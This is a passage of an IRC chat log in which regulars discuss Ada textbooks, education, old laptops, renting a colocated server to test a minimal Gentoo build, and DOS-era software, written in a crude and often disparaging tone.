Mocky actually captured all of the old ada threads in his review 1893048;1549395569;mircea_popescu;aha. 1893049;1549395580;mircea_popescu;you're right, that'd be the correct entrypoint. 1893050;1549395586;diana_coman;http://btcbase.org/log/2019-02-05#1893028 -> ha, 10 years! 1893051;1549395586;a111;Logged on 2019-02-05 19:10 mircea_popescu: asciilifeform actually, i can show you : http://trilema.com/2009/castiga-1000-ron-de-craciun/#comment-11652 1893052;1549395592;mircea_popescu;mazel tov! 1893053;1549395636;*;mircea_popescu looking back has had SUCH a strapping good time! 1893054;1549395867;*;asciilifeform recalls in '16 reading slowly in hammock https://www.ada-ru.org/V-0.4w/index.html 1893055;1549395894;asciilifeform;( there's a built-in pun in the title, Адское ~= 'from hell' ) 1893056;1549395908;asciilifeform;imho ~still~ the a++ best intro text. 1893057;1549395971;asciilifeform;the barnes b00k is a veeerry distand 2nd 1893058;1549395973;asciilifeform;*distant 1893059;1549396240;diana_coman;feeding into the earlier discussion re noobs: of those 14 accepted entries to that competition (+6 failed entries and supposedly out of ALL the Romanian blogs), only 7 still exist online and anyway stopped writing in 2011 -2014 1893060;1549396379;*;diana_coman can't quite make her mind: already/only TEN years ? 1893061;1549398565;mircea_popescu;c'est la vie! 1893062;1549400205;diana_coman;http://btcbase.org/log/2019-02-05#1893054 -> that must be THE way to learn languages: 2 at a time, russian+ada in one go to not feel like wasting time 1893063;1549400205;a111;Logged on 2019-02-05 19:44 asciilifeform recalls in '16 reading slowly in hammock https://www.ada-ru.org/V-0.4w/index.html 1893064;1549400297;asciilifeform;diana_coman: lol, didnt mircea_popescu once mention that he did landau & fr in 1 shot 1893065;1549400332;diana_coman;I don't recall 1893066;1549400338;asciilifeform;!#s landau 1893067;1549400338;a111;25 results for "landau", http://btcbase.org/log-search?q=landau 1893068;1549400627;asciilifeform;hrm, dun seem to be in the log. 1893069;1549400641;asciilifeform;pretty sure i didn't dream it tho. 1893070;1549400740;diana_coman;speaking of Barnes' Ada book: it IS very useful and I certainly do go back to it quite often still for all sorts but it still has at times such ideas that I can't stand; e.g. "The reader will probably feel that the activation mechanism is somewhat elaborate. However, in practice, the details will rarely need to be considered. They are mentioned in order to show that the mechanism is well defined rather than because of their everyday import 1893071;1549400740;diana_coman;ance." (p.531, Programming in Ada 2012) 1893072;1549400776;asciilifeform;diana_coman: it's a pretty dubious b00k. problem is, i dun have anyffin to recommend to engl. readers other than it 1893073;1549400795;asciilifeform;( and the standard docs, but go an' try to learn lang from those ) 1893074;1549400937;diana_coman;myeah, true; just wanted to point out this sort of rakes for potential noobs out there 1893075;1549400953;asciilifeform;i'd even say that 80+% of the thing consists of rakes, by mass 1893076;1549400964;asciilifeform;that whole chunk of the lang that one is simply better off ignoring 1893077;1549401049;asciilifeform;i ate http://btcbase.org/log/2019-02-05#1893054 cover to cover, but read maybe 4 ch of barnes. 1893078;1549401049;a111;Logged on 2019-02-05 19:44 asciilifeform recalls in '16 reading slowly in hammock https://www.ada-ru.org/V-0.4w/index.html 1893079;1549401057;asciilifeform;and dun intend to touch the remainder . 1893080;1549401069;diana_coman;to know what to ignore, that's the...skill 1893081;1549401107;diana_coman;hmmm, is it really THAT good? 1893082;1549401121;asciilifeform;diana_coman: it wasn't actively 'break out in hives' allergenic, is all. 1893083;1549401130;diana_coman;ah 1893084;1549401136;asciilifeform;d00d knew how to avoid bloating. 1893085;1549401211;asciilifeform;some folx write to kill tree, others -- to actually get the material across to reader. 1893086;1549401304;diana_coman;the logarithmic/exponential model? http://ossasepia.com/2018/12/24/a-week-in-tmsr-10-16-december-2018/comment-page-1/ 1893087;1549401313;asciilifeform;aha. 1893088;1549401315;asciilifeform;it. 1893089;1549401407;diana_coman;since you were asking re "noob diana_coman": while at Uni, 2nd year or so, I had this outburst at some point: wtf IF only you'd recommend a GOOD book ffs instead of all the bullshit 1893090;1549401426;asciilifeform;lol i had this ~erry time i walked into a course 1893091;1549401462;asciilifeform;i can't speak for europistans, but in 'new world' this is a dire problem, there largely ~aint~ any good book. 1893092;1549401494;asciilifeform;e.g. brin elder would've luvved to assign e.g. kurosh as the textbook, i suspect, but could not , it dun exist afaik in eng 1893093;1549401554;diana_coman;well yes, the noob part being that a. I had not realised that a good book was actually something rare - I had just put it all on the teachers' incompetence/lack of interest in recommending something useful b. it took me that long to realise fully the difference between the bullshit stuff that was abundantly provided and something useful 1893094;1549401563;asciilifeform;( what little of use that ~does~ exist in eng, is 'ancient' and 'wouldn't do!11' to assign, cuz threadbare faculty would rather pad own pockets and send chumpers to buy ~their~ dead tree rubbish ) 1893095;1549401610;asciilifeform;i went to what at the time was supposed to be a 'decent' public uni in usa, and do you think anyone assigned knuth ? 1893096;1549401615;asciilifeform;(spoiler -- nope) 1893097;1549401649;diana_coman;just in case anyone wonders: it was anyway all in English, not like one had much in Romanian on the topic (and to this day, reading CS in Romanian is just not worth it) 1893098;1549401672;asciilifeform;of course there was 1 at the library (at the time, naodays library mostly hollowed out), the tomes stuck together from age, just like the lenin on the 4th floor 1893099;1549401680;diana_coman;oh, huh; at least they DID mention Knuth to us 1893100;1549401691;diana_coman;later than my outburst :D 1893101;1549401721;diana_coman;it's actually even translated to Ro, I still have the volumes on my shelf though I go and read...the English version :D 1893102;1549401744;asciilifeform;i actually picked up a ru transl, which i had nfi existed until found in a skip (!) at same uni 1893103;1549401761;asciilifeform;( seems like a ru maffs prof keeled over / retired, and all of his shelf was tossed ) 1893104;1549401799;asciilifeform;i went in with duffelbags and pocketed it all. 1893105;1549401847;diana_coman;pitty you didn't find the prof before finding only his...remains as it were 1893106;1549401876;asciilifeform;i found some prior to them expiring, didnt make much diff 1893107;1549401889;asciilifeform;by the time i got to'em already mostly eaten by termites inside. 1893108;1549401899;diana_coman;well, then still only...remains 1893109;1549401934;asciilifeform;they had this d00d, who was chief of sov space ministry at the time of venera probe. 1893110;1549401989;asciilifeform;he ended up hiring undergrad-asciilifeform to... sit in a (princely) locking (!) office and read mountain of treatise re ion engines. 1893111;1549401999;asciilifeform;but d00d was , idk, 80+ y.o., and forgot what step 2 was... 1893112;1549402011;diana_coman;sad really 1893113;1549402015;asciilifeform;quite. 1893114;1549402053;diana_coman;http://btcbase.org/log/2019-02-05#1893092 -> honestly, I don't see it: if he luvved to then WHY not recommend it? in martian if that's what it is in, wtf 1893115;1549402053;a111;Logged on 2019-02-05 21:18 asciilifeform: e.g. brin elder would've luvved to assign e.g. kurosh as the textbook, i suspect, but could not , it dun exist afaik in eng 1893116;1549402066;asciilifeform;cuz to ~whom~ recommend. 1893117;1549402076;asciilifeform;'here, have this mega-opus in martian' 1893118;1549402077;diana_coman;set the brighter students to translate it if need be, but anyways, recommend it 1893119;1549402092;asciilifeform;i get away with it here, mostly, but usg.prof prolly not . 1893120;1549402122;diana_coman;yes, it has to be here, top of the list if it's tops; it's not "recommend for X's and Y's capabilities" but "recommend for Z topic" , isn't it? 1893121;1549402135;asciilifeform;funnily enuff, to close the circle, yrs later i actually ran into kurosh ed. in 100% king's english 1893122;1549402142;asciilifeform;'mir publishing' 1990 or near. 1893123;1549402166;diana_coman;it has nothing to do with what student might or might not be able to do; if you have a course on X and the main reference is Z then Z is the main recommended book regardless of anything else, what 1893124;1549402187;asciilifeform;i'm guessing diana_coman never spent much time in anglotardistan 1893125;1549402222;diana_coman;well, not in the US (got once to Boston for a conf. and that's all) and not in English education system at any rate, true 1893126;1549402234;asciilifeform;lucky, too 1893127;1549402259;asciilifeform;nuffin here is healthy or whole, it is like living on those tomatoes they grow in chernobyl exclusion zone 1893128;1549402369;asciilifeform;errything is subtly poison. and not merely the air, water, food ( these -- so obv. that even the localtards understand, generally ) -- but the ~thought~ 1893129;1549402425;asciilifeform;iirc mircea_popescu at one pt walked around in usa for coupla ~yrs~ and then noticed and took the first plane out and never set foot again 1893130;1549402493;asciilifeform;erry time asciilifeform gets a chance to walk out, going back feels rather like back to insane asylum. 1893131;1549402530;asciilifeform;except that i dun think anywhere in civilized world keeps the insane in anyffin resembling the conditions. 1893132;1549402578;diana_coman;hmmmm, a tiny Diana loved those well-written children stories; and then she re-read them at age 12 or so and was so shocked to see how much propaganda they were....; my point being: I doubt there is any place which is not "subtly poison" of one sort or another 1893133;1549402591;asciilifeform;which were these, diana_coman 1893134;1549402603;asciilifeform;( o'henry ? twain ? ) 1893135;1549402638;asciilifeform;diana_coman: strontium is in the milk of erry cow alive, but still wouldntcha rather drink from cow in ro than from chernobyl. 1893136;1549402665;diana_coman;some Romanian author, lemme see, www.anticariat-unu.ro/vorba-buna-inteleptul-de-al-gheorghiu-pogonesti-1980-p98305 1893137;1549402679;diana_coman;it's even precisely the cover I remember, lol 1893138;1549402697;asciilifeform;( incidentally, 80+% of that very strontium is there on acct of ameritards having their fireworx ) 1893139;1549402714;asciilifeform;from 'bikini' to mid-90s 1893140;1549402802;diana_coman;thing is: it's ~never about what you'd "rather" but ~always about what you'd NOT stand 1893141;1549402802;asciilifeform;diana_coman: can barf at the communist kid b00kz, but seems to me that even there result is considerably closer to human and farther from bonsaikitten of disney princess etc. 1893142;1549402844;BingoBoingo;asciilifeform: There were a couple dirtier uncontained Nevada tests than 'bikini' The 'Ploughshares' series was especially salty 1893143;1549402871;asciilifeform;BingoBoingo: correct, approx at the time they started optimizing for neutron yield 1893144;1549402906;diana_coman;asciilifeform, you know, I do NOT barf at all at Neznaika and at Nosov in general and yes, I read them as a child an in Romanian and loved them; and I re-read them at 12 and at 19 and at 25 and STILL loved them 1893145;1549402912;asciilifeform;same. 1893146;1549402921;asciilifeform;btw didja ever read 'neznaika on the moon' 1893147;1549402931;asciilifeform;the 1 where they go to where capitalism. 1893148;1549402941;BingoBoingo;Well, also they were doing the advanced nuclear chemisty *INSIDE* copious dirt to kick up. 1893149;1549402944;diana_coman;so no, I'm not barfing at communist kid bookz but at propaganda fed while one's too young to even *notice* it 1893150;1549402953;asciilifeform;hilarious item, almost 'tardstalk btc investments' in storybook form. 1893151;1549402963;diana_coman;asciilifeform, no; now I must find it, lol 1893152;1549402991;asciilifeform;if anybody turns this item up in eng, plox to write in 1893153;1549403010;asciilifeform;in '90s ru, there was joke that went around where eltsin had sworn on a copy somehow instead of bible 1893154;1549403026;asciilifeform;( and magicking as result the privatizationlulz into being ) 1893155;1549403109;diana_coman;ahhh, if at it, asciilifeform one thing I really try to get hold of and couldn't, perhaps you have it: some offline audiobooks read by this Samoilov Vladimir? 1893156;1549403134;asciilifeform;diana_coman: 'radio zvezda' has a bunch on their www iirc. 1893157;1549403166;asciilifeform;i'ma look in the warez chest an' see if got any there also. 1893158;1549403168;diana_coman;I've found it online but not for download, and in piecemeal fashion rather than full thing 1893159;1549403202;*;asciilifeform brb,ttime 1893160;1549405722;feedbot;http://pizarroisp.net/2019/02/05/pizarro-january-2019-report/ << PizarroISP -- Pizarro January 2019 Report 1893161;1549407524;feedbot;http://qntra.net/2019/02/belgian-minister-forced-off-the-job-for-pointing-out-obviously-organized-protest-was-organized/ << Qntra -- Belgian Minister Forced Off The Job For Pointing Out Obviously Organized Protest Was Organized 1893162;1549407698;mircea_popescu;http://btcbase.org/log/2019-02-05#1893094 << quite like the medicine. oh, sulfa NO GOOD. let's not even start on http://btcbase.org/log/2014-11-12#918823 lest we end up straight with http://trilema.com/2011/ecologistii-cei-mai-ipocriti-dintre-paminteni/#selection-47.1-51.521 "why EXACTLY is philiphs paying govts to ruin 3rd world's manufacturing" 1893163;1549407698;a111;Logged on 2019-02-05 21:19 asciilifeform: ( what little of use that ~does~ exist in eng, is 'ancient' and 'wouldn't do!11' to assign, cuz threadbare faculty would rather pad own pockets and send chumpers to buy ~their~ dead tree rubbish ) 1893164;1549407698;a111;Logged on 2014-11-12 20:50 mircea_popescu: and since we're on it, methotrexate is used as an abortifacent, notwithstanding that ethacridine lactate is cheaper, can be used without needing a hospital visit and much safer. 1893165;1549407743;mircea_popescu;can't locate now the discussion of danone giving out "free baby formula" to moronic (aka "aspirational") orc females just for long enough to suspend natural lactation, and etcetera. 1893166;1549407750;mircea_popescu;denied middle, yes. 1893167;1549407872;asciilifeform;iirc was nestle co 1893168;1549407878;asciilifeform;but possible elsewhere also 1893169;1549407891;asciilifeform;ameripharma is just tip of the iceberg. 1893170;1549407902;mircea_popescu;http://btcbase.org/log/2019-02-05#1893123 << for all the wank re "science of education", entire field is exactly at shaman stage, something as basic as http://btcbase.org/log/2019-02-05#1892871 entirely undiscovered arcana. 1893171;1549407902;a111;Logged on 2019-02-05 21:29 diana_coman: it has nothing to do with what student might or might not be able to do; if you have a course on X and the main reference is Z then Z is the main recommended book regardless of anything else, what 1893172;1549407902;a111;Logged on 2019-02-05 18:11 mircea_popescu: in short : the point here is that we control ~the process~ of education, not ~the outcomes~ of education. 1893173;1549407947;asciilifeform;mircea_popescu: far as i'm concerned, walking bodies who can't languages into a higher maffs classroom is == lunacy to walking in ones who never learned arithmetic 1893174;1549407952;mircea_popescu;asciilifeform weirdly that doesn't yield either. i coudl've sworn we had a logthread on african "career women" and euro powdered milk. 1893175;1549407979;asciilifeform;iirc was a trilema piece. 1893176;1549408006;mircea_popescu;http://btcbase.org/log/2019-02-05#1893127 << you have no idea. should see them butcher the classics, "proust expert", "let me read you some latin", jesus f christ. 1893177;1549408006;a111;Logged on 2019-02-05 21:30 asciilifeform: nuffin here is healthy or whole, it is like living on those tomatoes they grow in chernobyl exclusion zone 1893178;1549408016;mircea_popescu;at least math stays mathy. 1893179;1549408086;mircea_popescu;http://btcbase.org/log/2019-02-05#1893136 << ha, never seen that1 b4. 1893180;1549408086;a111;Logged on 2019-02-05 21:37 diana_coman: some Romanian author, lemme see, www.anticariat-unu.ro/vorba-buna-inteleptul-de-al-gheorghiu-pogonesti-1980-p98305 1893181;1549408193;mircea_popescu;http://btcbase.org/log/2019-02-05#1893154 << if you're into these, the story of the west india trading co and the corp boom, the involvement of said newton, and of the king's finance dept is well worth a study. 1893182;1549408193;a111;Logged on 2019-02-05 21:43 asciilifeform: ( and magicking as result the privatizationlulz into being ) 1893183;1549408207;mircea_popescu;http://btcbase.org/log/2013-10-10#347200 1893184;1549408207;a111;Logged on 2013-10-10 15:01 mircea_popescu: ;;google "a company for carrying out an undertaking of great advantage, but nobody to know what it is" 1893185;1549408227;asciilifeform;... east india ? 1893186;1549408314;mircea_popescu;nah, the dutch item. 1893187;1549408319;asciilifeform;aa 1893188;1549408825;BingoBoingo; iirc was nestle co << Same organization different places 1893189;1549410527;feedbot;http://www.loper-os.org/?p=2993 << Loper OS -- Lost Technology: The PQ3QI-01 Sunl...able Display. 1893190;1549410727;asciilifeform;http://btcbase.org/log/2019-02-05#1893178 << you oughta see how they 'teach' it tho. 1893191;1549410727;a111;Logged on 2019-02-05 23:06 mircea_popescu: at least math stays mathy. 1893192;1549412407;asciilifeform;mircea_popescu: http://trilema.com/2011/ecologistii-cei-mai-ipocriti-dintre-paminteni/#selection-55.432-55.777 1893193;1549412585;asciilifeform;in re http://btcbase.org/log/2019-02-05#1893174 that is 1893194;1549412585;a111;Logged on 2019-02-05 23:05 mircea_popescu: asciilifeform weirdly that doesn't yield either. i coudl've sworn we had a logthread on african "career women" and euro powdered milk. 1893195;1549412608;*;asciilifeform bbl,meatsystems 1893196;1549416646;mircea_popescu;a there it was! 1893197;1549423136;BingoBoingo;In milestones, Qntra sitting at 2400 posts and 2500 comments 1893198;1549424675;hanbot;gentooers: looking @ thebitcoin.foundation/gentoo-stage3-amd64-nomultilib-guide.txt, i direct myself to the distfiles @ gentoo.ussg.indiana.edu and find noffin' for i686; do we not have a gentoo frozen for it? 1893199;1549426860;trinque;hanbot: hm, this got right past me. the cuntoo builder is 64bit only at the present. 1893200;1549427166;trinque;I don't plan on porting the bootstrapper to other architectures; it'll be better once the bridge has been crossed to crosscompile for various other archs (arm, i686, toaster) 1893201;1549427216;*;trinque actually has tooling for this sitting on his workbench, suitable for e.g. stamping out small linux firmwares w/ busybox 1893202;1549427248;asciilifeform;trinque: baked from buildroot or entirely new item ? 1893203;1549427279;trinque;new item, aims portage at folder and "buildroots" in it 1893204;1549427286;asciilifeform;neato 1893205;1549430281;mircea_popescu;so basically, http://btcbase.org/log/2019-02-04#1892381 not right, absolutely gotta be x64 ? 1893206;1549430281;a111;Logged on 2019-02-04 17:29 mircea_popescu: can't see why not. 1893207;1549430294;mircea_popescu;i don\t think i own any x64 lappies. 1893208;1549432097;trinque;yep, present item wants to begin life on an x86-64 1893209;1549432130;trinque;once we get across the gap, can easily rebuild for w/e 1893210;1549432200;*;trinque headed to bed 1893211;1549459024;spyked;http://btcbase.org/log/2019-02-04#1892447 <-- ty! will continue discussion there. 1893212;1549459024;a111;Logged on 2019-02-04 21:49 mircea_popescu: spyked http://trilema.com/2015/how-to-fix-your-local-trackbacks/ << turns out i already had. 1893213;1549459165;spyked;http://btcbase.org/log/2019-02-05#1892703 <-- I'ma give it a try and report. if it's more complicated than a rsync, I'll come up with a method to (at the very least) make the archive accessible to L1 after I grab it 1893214;1549459165;a111;Logged on 2019-02-05 03:08 lobbes: http://btcbase.org/log/2019-02-04#1892264 << looks like spyked is going to take care of it (though, I dun mind rsyncing it as well) >> http://thetarpit.org/posts/y05/082-tmsr-schedule-i.html#selection-201.0-213.84 1893215;1549466213;mircea_popescu;BingoBoingo i don't suppose you folks have a 64 bit machine i could get for hanbot to continue her cuntooing ? 1893216;1549466287;asciilifeform;mircea_popescu: there's the snsa spare unit, currently cold 1893217;1549466299;mircea_popescu;how much for a month ? 1893218;1549466330;asciilifeform;the standard color rate we get dulap for 1893219;1549466335;asciilifeform;*colo rate 1893220;1549466343;mircea_popescu;i hafta look this up ? 1893221;1549466365;asciilifeform;mircea_popescu: it's in the snsa broadcasts, lol 1893222;1549466380;*;mircea_popescu goes to look it up 1893223;1549466390;asciilifeform;and also http://pizarroisp.net/pizarro-hosting-rate-sheet/ 1893224;1549466396;asciilifeform;'141.7 USD/mo, billed in BTC at the beginning of every month.' 1893225;1549466411;mircea_popescu;a. BingoBoingo wouldja mind billing me for a month of ^ and send hanbot teh credentials. 1893226;1549466427;mircea_popescu;the race being on, i'm curious if "check trinque 's sig" can be done in 1 mo or not. 1893227;1549466545;asciilifeform;mircea_popescu: what'll you need in re disk ? ( that box is a cold spare and diskless atm ) 1893228;1549466565;mircea_popescu;i have nfi, whatever's needed to encuntoo-ate it. was this ever discussed ? 1893229;1549466582;asciilifeform;i dun recall trinque giving estimate of min disk req'd 1893230;1549466597;*;mircea_popescu has no data re this job, so can't say much. 1893231;1549466615;mircea_popescu;asciilifeform what do you have, 1tb or something ? i can't imagine it wouldn't suffice. 1893232;1549466641;asciilifeform;mircea_popescu: there's a # of 1b ssd in stock. BingoBoingo plox to give mircea_popescu a quote for same. 1893233;1549466667;BingoBoingo;Will be happy to 1893234;1549466695;asciilifeform;BingoBoingo: when you fill this order, plox to bring up that box with a usb boot stick and give it ip, so hanbot doesn't have to use the quite unpleasant kvm. 1893235;1549466705;asciilifeform;BingoBoingo: or lemme know if you need help with this. 1893236;1549466749;mircea_popescu;what's teh boot stick ? 1893237;1549466768;asciilifeform;mircea_popescu: there's an ancient gentoo boot stick baked by ben_vulpes kept on hand for such occasions. 1893238;1549466792;mircea_popescu;convenient, seeing how it then also cuts some intermediate steps, i guess ? 1893239;1549466800;asciilifeform;correct 1893240;1549466810;mircea_popescu;ie, "select a gentoo to install", which took a day's work fwir. 1893241;1549466841;asciilifeform;it's a starvation-bare gentoo, suffices for maintenance. 1893242;1549466888;mircea_popescu;one day there's gonna be an accounting of all these dead days, "well, master ordered me to so and so, so i went through the piles, picked laptop, then discovered needs gentoo but not clear which gentoo, links dead, so ima pick one, then next day discovered it dun work on machine i selected before knowing the relevant criteria and turns out i dun have one that meets and holy shit". 1893243;1549466893;asciilifeform;BingoBoingo: plox to also unhook kvm from uy1 ( which is running without issue continuously since i started watching ) 1893244;1549466901;mircea_popescu;if for no other reason then because i'd really like to slim it out in the coming years. 1893245;1549466946;BingoBoingo;asciilifeform: Will do 1893246;1549466951;asciilifeform;mircea_popescu: sorta the point of nailing down cuntoo etc. to avoid the quite unpleasant 'hrm i need a box, lemme visit junkyard and see if they have pieces of old lada' 1893247;1549466966;mircea_popescu;the point of the entire fucking affair, really. 1893248;1549467031;mircea_popescu;vaguely relatedly, is there such a thing as a 64 bit laptop that's acceptable as far as anyone knows ? 1893249;1549467041;mircea_popescu;i never bought one yet, principally because i don't know of such a thing. 1893250;1549467043;asciilifeform;mircea_popescu: when hanbot goes to do this exercise, ping BingoBoingo so he can do his duty in the cage cycling mains for the unit if necessary 1893251;1549467055;asciilifeform;mircea_popescu: e.g. the well-known x60 1893252;1549467068;mircea_popescu;the pre-shit days x60 was 32 bit 1893253;1549467081;asciilifeform;(for which asciilifeform posted patched bios, and on which baked the trimmed gentoo which then trinque matured into cuntoo etc) 1893254;1549467084;asciilifeform;mircea_popescu: nope, 64 1893255;1549467085;BingoBoingo; vaguely relatedly, is there such a thing as a 64 bit laptop that's acceptable as far as anyone knows ? << I don't hate the thinkpad x120e, AMD E350 Bobcat chip 1893256;1549467112;asciilifeform;mircea_popescu: iirc t40 was the last 32bit pentium stinkpad 1893257;1549467161;asciilifeform;mircea_popescu: for that matter, the starvation-cheap machine in http://www.loper-os.org/?p=2993 , 'samsung n150', same chipset as x60 . cost me exactly fiddybux on fleamarkets. 1893258;1549467177;asciilifeform;there were 9000 boxen with that chipset, '09-10 1893259;1549467204;asciilifeform;it was pretty much the last intel chipset on lappy which linuxed without pile of ??? breakages afaik. 1893260;1549467227;mircea_popescu;a wait, yes, x-s are lenovos aren't they. 1893261;1549467232;mircea_popescu;the ibm stuff was T-whatever. 1893262;1549467249;asciilifeform;( and the last to work w/ linuxbios, if one inclined to experiment with same) 1893263;1549467268;asciilifeform;mircea_popescu: x- was when freshly chinesated but the contents not yet changed. 1893264;1549467276;mircea_popescu;right. i gotta buncha t's 1893265;1549467288;asciilifeform;i also ( largely retired'em tho ) 1893266;1549467299;mircea_popescu;i suspect i use laptops a lot less than you do. 1893267;1549467318;asciilifeform;i dun so much these days ( rarely leave house... lol ) 1893268;1549467347;*;mircea_popescu is waveriong whether he wants to actually buy an x-pad or can't be arsed. 1893269;1549467352;mircea_popescu;evidently, this isn't the first time. 1893270;1549467356;asciilifeform;still use'em as 'single-purpose box that dun take too much floor' on occasion. 1893271;1549467380;asciilifeform;mircea_popescu: if you do, get the x60 ( asciilifeform , phf, using w/ patched bios & old gentoo ) 1893272;1549467389;asciilifeform;avoid '61' and laters. 1893273;1549467417;asciilifeform;they're ~eternal so unlikely you'll want >1, unless equipping pupils 1893274;1549467449;mircea_popescu;http://btcbase.org/log/2018-06-13#1824545 << i gotta figure this shit out, because i ~thought~ i had some x60s also. 1893275;1549467449;a111;Logged on 2018-06-13 00:41 mircea_popescu: i think i have one right here. from ~period. it's a workhorse, sure, and it paid for itself many times over, but... 1893276;1549467451;asciilifeform;( also avoid 'x40', used bizarre nonstandard disk ) 1893277;1549467464;*;mircea_popescu shall go into the storages. 1893278;1549467473;asciilifeform;x60 eats ordinary ssd etc w/out issue. 1893279;1549467482;asciilifeform;( comes out with 1 screw, also ) 1893280;1549467634;asciilifeform;mircea_popescu: in re cured bios, see thrd http://btcbase.org/log/2017-01-11#1601541 . 1893281;1549467634;a111;Logged on 2017-01-11 18:49 asciilifeform: aaaaaaaaaalso in order to do this you will need the patched bios. 1893282;1549467660;mircea_popescu;ok, so to be perfectly clear -- thinkpad x60, released by lenovo cca 2006, comes with Intel Core Duo T2400 / 1.83 GHz processor, which is a 32 bit processor. 1893283;1549467661;asciilifeform;( why this needed -- to rip out the vendor's sad intel nic and put in e.g. atheros ) 1893284;1549467665;mircea_popescu;https://ark.intel.com/products/27235/Intel-Core-Duo-Processor-T2400-2M-Cache-1-83-GHz-667-MHz-FSB- << from horse's own mouth. 1893285;1549467685;asciilifeform;mircea_popescu: there were at least 4 variants. i haven't encountered the 32b one tho. 1893286;1549467693;mircea_popescu;well it's apparently all i've encountered. 1893287;1549467706;mircea_popescu;nevertheless, the spec is as described, with t2400, 31 W. 1893288;1549467736;mircea_popescu;you had me scratching my head asciilifeform ! 1893289;1549467788;asciilifeform;mircea_popescu: it was the transition period when intel was tryin' to liquidate last stock of 32b item, tru 1893290;1549467800;asciilifeform;loox like mircea_popescu got 'lucky' 1893291;1549467800;mircea_popescu;well what can i tell ya. 1893292;1549467817;*;mircea_popescu went through a phase where deliberately did not buy 64 bit. 1893293;1549467838;BingoBoingo;Based on last month's colo a month is 0.03542500, individuals SSD's are on our book at 0.04744204 BTC. asciilifeform, as technical director is it reasonable to short term rent an SSD or are SSD's something that need to be sold. My inclination is SSD attaches to customer. Disinclined to reuse these things or pass them between customers. 1893294;1549467845;mircea_popescu;tbh, if it weren't for crypto, i still wouldn't. 1893295;1549467855;asciilifeform;mircea_popescu: there's not so much win from 64 on lappies where max ram e.g. 3GB. 1893296;1549467873;asciilifeform;mircea_popescu: defo 64 is like tits on a boar for cryptoistic dos box etc. 1893297;1549467884;mircea_popescu;or in general. i want 2gb films like i want the clap. if god didn't mean films to be 700mb he wouldn't have made cd's that big. 1893298;1549467920;asciilifeform;lol 1893299;1549467921;mircea_popescu;BingoBoingo but i mean, i have to buy a ssd to test out cuntoo ? 1893300;1549467954;asciilifeform;mircea_popescu: if you're certain you won't need fast disk of >1mo of operation, we can feed you one of the still-working retired rk drives 1893301;1549467961;BingoBoingo;mircea_popescu: I am asking asciilifeform how we want to handle this 1893302;1549467973;mircea_popescu;asciilifeform as long as the thing fits. how big are they ? 1893303;1549468004;asciilifeform;mircea_popescu: 128G 1893304;1549468018;mircea_popescu;give me a break, if cuntoo dun fit in there the problem's not with the disk. 1893305;1549468049;mircea_popescu;BingoBoingo give me however many fit / you want to spare, she can cuntoo-image them all for you free of charge. 1893306;1549468069;asciilifeform;so then. BingoBoingo plox to take 1 of these and feed to mircea_popescu . the caveat is that it ~may~ fail prior to 1mo. 1893307;1549468083;trinque;thing's not but a few gigs. 1893308;1549468092;mircea_popescu;trinque cool. 1893309;1549468112;asciilifeform;it'll run at usb2 speed ( the contemplated 1893310;1549468116;asciilifeform;machine has no usb3) 1893311;1549468124;asciilifeform;but for mircea_popescu's purpose i suspect will entirely suffice. 1893312;1549468129;trinque;whole point was to slim the thing down to minimal set that'll boot and compile w/e else you wanted 1893313;1549468151;mircea_popescu;i recall the times a slim os was judged by "fits on one 7"." 1893314;1549468186;asciilifeform;mircea_popescu: may recall, i stuffed a working linux (with 3.x kernel no less) into <5MB. gentooisms are bulky on acct of sores. 1893315;1549468191;mircea_popescu;fucking novell netware. I STILL RECALL THAT CRAP, 47 disks or some shit. 1893316;1549468226;mircea_popescu;asciilifeform i'm just going through a nostalgia moment here. 1893317;1549468241;BingoBoingo; BingoBoingo give me however many fit / you want to spare, she can cuntoo-image them all for you free of charge. << Sounds like a plan. Gathering materials. 1893318;1549468248;asciilifeform;mircea_popescu: let's then nostalgiate for good ol' dos, which sat happily on 360kb flop. 1893319;1549468256;mircea_popescu;quite. 1893320;1549468274;mircea_popescu;of course, it didn't come with sources. 1893321;1549468288;asciilifeform;i have the sores, it's coupla mb of asm. 1893322;1549468310;mircea_popescu;kinda for this reason, back i nthe day "sources" meant a LOT of "brain content" so to speak. 1893323;1549468316;asciilifeform;aaha 1893324;1549468331;mircea_popescu;this is a large portion of what the "champions" of "the open source revolution" generally omit to mention : 1893325;1549468348;mircea_popescu;back in the 16 bit days, MOST software existed in a verrrry soft manner indeed. 1893326;1549468366;mircea_popescu;people (the actual people, i mean) only started perceiving the need to ~even write down most of it~ sometime in the 90s. 1893327;1549468371;asciilifeform;mircea_popescu: they dun even like to mention that typical gnuturd is 80-90% autoconfolade by mass 1893328;1549468389;mircea_popescu;ie, with or without "cathedral & bazaar", "copyleft" etc bs, something very akin to "the effects of open source" would have occured ANYWAY 1893329;1549468413;mircea_popescu;because fuck, one guy and his wife can make zexcellent-80 games in bedroom over summer, without bothering to DOCUMENT how that much 1893330;1549468428;mircea_popescu;but by the time you're trying to wrangle the 32bit processor's 2gb of memory... 1893331;1549468454;mircea_popescu;and so in this sense, dos "source" is a lot like "bolix source" -- would consist of 99.9999% cat scans by mass. 1893332;1549468468;asciilifeform;mircea_popescu: ye olde 'doom' , complete with 32bit emm thingie, weighed, what, 2,3mb 1893333;1549468506;asciilifeform;mircea_popescu: dos sores , surprisingly, was moar or less sane item (considering that microshit stole it) 1893334;1549468518;mircea_popescu;maybe it was already ending by time of doom, but i guarantee you that if i had orig author of said 2mb of asm "source" of dos in the dungeon, i'd be stuck producing A LOT OF accompanying notation through interrogation. 1893335;1549468565;asciilifeform;mircea_popescu: recall how microshit released ~0 useful docs, and folx like norton made megabux sellin' boox 1893336;1549468573;mircea_popescu;yes "object oriented" verbosity is ridoinculous. nevertheless there is A LOT of meta involved that no ida ever sucks out, cuz it's not machine-accessible. which is why both eucrypt and ffa published chapters look like they do. 1893337;1549468593;mircea_popescu;and i'm not even sure it's yet detailed enough (not to mention the part where -- "to make any sense of this you must headload log anyways") 1893338;1549468639;asciilifeform;mircea_popescu: i cant speak for eucrypt, but ffa is at least as much experiment in 'can program be written to make sense?' as it is arithm lib 1893339;1549468709;mircea_popescu;the ur example being of course "Although optimum is an absolute term, like unique, it became common verbal practice to make it relative: not quite optimum or less optimum or not very optimum. Mel called the maximum time-delay locations the most pessimum." 1893340;1549468714;asciilifeform;( and asciilifeform is the last who could answer definitively the q of whether succeeded to 'program to make sense', only the readers can answer it ) 1893341;1549468734;mircea_popescu;without all that fundamentally oral commentary... well... where's mel. 1893342;1549468842;asciilifeform;i dun have a magical recipe for 'program to make sense'. approached problem by consciously avoiding all the various 'perlisms' knew of that typically prevent it; then wrote proggy with ~50% comment mass by weight ( but who 